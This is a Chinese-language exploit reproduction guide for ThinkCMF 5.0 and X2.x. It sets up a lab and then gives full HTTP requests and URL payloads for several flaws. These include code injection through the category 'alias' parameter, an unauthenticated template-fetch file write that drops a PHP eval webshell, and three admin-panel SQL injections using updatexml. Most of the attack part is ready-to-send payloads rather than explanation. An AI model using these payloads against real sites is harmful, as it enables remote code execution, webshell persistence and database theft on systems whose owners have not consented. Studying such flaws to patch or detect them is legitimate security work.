新建一个thinkcmf
目录,把除public
目录外的文件都移动到thinkcmf
下。然后把public
里的所有文件移动到根目录。
接下来要要修改index.php里的代码。
define('CMF_ROOT', __DIR__ . '/../');
修改为:
define('CMF_ROOT', __DIR__ . '/thinkcmf/');
集成环境phpstudy不能使用2016年版本不然PHP版本更不上会导致报错
phpstudy
服务应该开启apache
+mysql
,不应该开启nginx
+mysql
因为会导致安装错误!!!!
直接访问http://192.168.0.147/?s=install
目录会跳出安装向导
可以通过以下链接下载历史版本
https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip
注意
/portal/admin_category/addpost.html
版本
ThinkCMF 5.0.190111
POST
数据包
POST /portal/admin_category/addpost.html HTTP/1.1
Host: 192.168.0.147
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.147/portal/admin_category/add.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 179
DNT: 1
Connection: close
Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1; PHPSESSID=5qudaivv5onc43dncu9tsn2c5t; thinkphp_show_page_trace=0|0; admin_username=1%40qq.com
parent_id=0&name=111&alias=1'%3D%3Earray(%22%22%2C%22%22)%2Cphpinfo()%2C'&description=&more%5Bthumbnail%5D=&seo_title=&seo_keywords=&seo_description=&list_tpl=list&one_tpl=article
/portal/admin_category/addpost.html
描述
该漏洞是在复现thinkcmf的CVE-2019-6713的时候发现的,通过"添加分类"可以写入该文件
注意
1.alias通过该参数可以进行写入命令
2.需要登录后台才可以操作
版本
ThinkCMF 5.0.190111
POST
POST /portal/admin_category/addpost.html HTTP/1.1
Host: 192.168.0.147
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.147/portal/admin_category/add.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 171
DNT: 1
Connection: close
Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1; PHPSESSID=5qudaivv5onc43dncu9tsn2c5t; thinkphp_show_page_trace=0|0; admin_username=1%40qq.com
parent_id=0&name=123&alias=1'%3D%3Earray(%22%22)%2Cphpinfo()%2C'2&description=&more%5Bthumbnail%5D=&seo_title=&seo_keywords=&seo_description=&list_tpl=list&one_tpl=article
注意
漏洞位置在根目录下,也就是说直接在网站首页攻击即可
public/index
描述
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。
攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。
注意
# 第一处
index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
# 第二处
index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
POST
第一种通过构造a
参数的fetch
方法,可以不需要知道文件路径就可以把php
代码写入文件
phpinfo
版payload
如下
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
发送payload
复现效果如下
第二种通过构造a参数的display方法,实现任意内容包含漏洞
注意
漏洞位置在根目录下,也就是说直接在网站首页攻击即可
位置
index.php?g=Comment&m=commentadmin&a=check&check=1
描述
漏洞位于/application/Comment/Controller/CommentadminController.class.php的check、delete方法, 以62行为例,$_POST['ids']参数通过join后,传递到where语句中,但并没有使用where语句的in方法,而是直接拼接到SQL语句中,导致SQL注入。
注意
需要登录后台才可以利用
版本
ThinkCMF X2.2.2
POST
注意
POST包中的Referer的值要改成和url一样不然无法注入
payload
POST数据包如下
ids[]=1&ids[]=2 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
数据包
POST /cmfx/index.php?g=admin&m=commentadmin&a=check&check=1 HTTP/1.1
Host: 192.168.0.147
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.147/cmfx/index.php?g=Comment&m=commentadmin&a=check&check=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
DNT: 1
Connection: close
Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1; admin_username=1%40qq.com; yfsJBr_think_language=zh-CN; PHPSESSID=i2sd2osef0a69ku55jc38ai7k9
Upgrade-Insecure-Requests: 1
ids%5B%5D=1&ids%5B%5D=2+and+updatexml%281%2Cconcat%280x7e%2C%28SELECT+user%28%29%29%2C0x7e%29%2C1%29
注意
漏洞位置在根目录下,也就是说直接在网站首页攻击即可
位置
index.php?g=Admin&m=nav&a=edit_post
描述
跟进`application/Admin/Controller/NavController.class.php`,在文件的173行。`$parentid`直接由`$_POST['parentid']`传递进来,随后被直接拼接到where语句中。
NavController.class.php中edit_post方法SQL注入
注意
需要登录后台才可以利用
版本
ThinkCMF X2.2.2
POST
注意
POST包中的Referer的值要改成和url一样不然无法注入
payload
POST数据包如下
parentid=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
数据包
POST /cmfx/index.php?g=Admin&m=nav&a=edit_post HTTP/1.1
Host: 192.168.0.147
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A402 Safari/604.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.147/cmfx/index.php?g=Admin&m=nav&a=edit_post
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
DNT: 1
Connection: close
Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1; admin_username=1%40qq.com; PHPSESSID=i2sd2osef0a69ku55jc38ai7k9; yfsJBr_admin_username=1%40qq.com
Upgrade-Insecure-Requests: 1
parentid=1+and+updatexml%281%2Cconcat%280x7e%2C%28SELECT+user%28%29%29%2C0x7e%29%2C1%29
注意
漏洞位置在根目录下,也就是说直接在网站首页攻击即可
位置
index.php?g=Admin&m=slide&a=delete
描述
在application/Admin/Controller/SlideController.class.php的93行,delete方法中,$_POST['ids']通过implode方法变成字符串,随后直接拼接进入where语句的in子句中。
注意
需要登录后台才可以利用
版本
ThinkCMF X2.2.2
POST
注意
POST包中的Referer的值要改成和url一样不然无法注入
payload
POST数据包如下
ids[]=1&ids[]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)
数据包
POST /cmfx/index.php?g=Admin&m=slide&a=delete HTTP/1.1
Host: 192.168.0.147
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A402 Safari/604.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.147/cmfx/index.php?g=Admin&m=slide&a=delete
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
DNT: 1
Connection: close
Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1; admin_username=1%40qq.com; PHPSESSID=i2sd2osef0a69ku55jc38ai7k9; yfsJBr_admin_username=1%40qq.com; yfsJBr_think_language=zh-CN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
ids%5B%5D=1&ids%5B%5D=0+and+updatexml%281%2C+concat%280x7e%2Cuser%28%29%2C0x7e%29%2C1%29
CVE-2018-19898
属于ThinkPHP 3.x版本爆出存在bind注入就不做概述了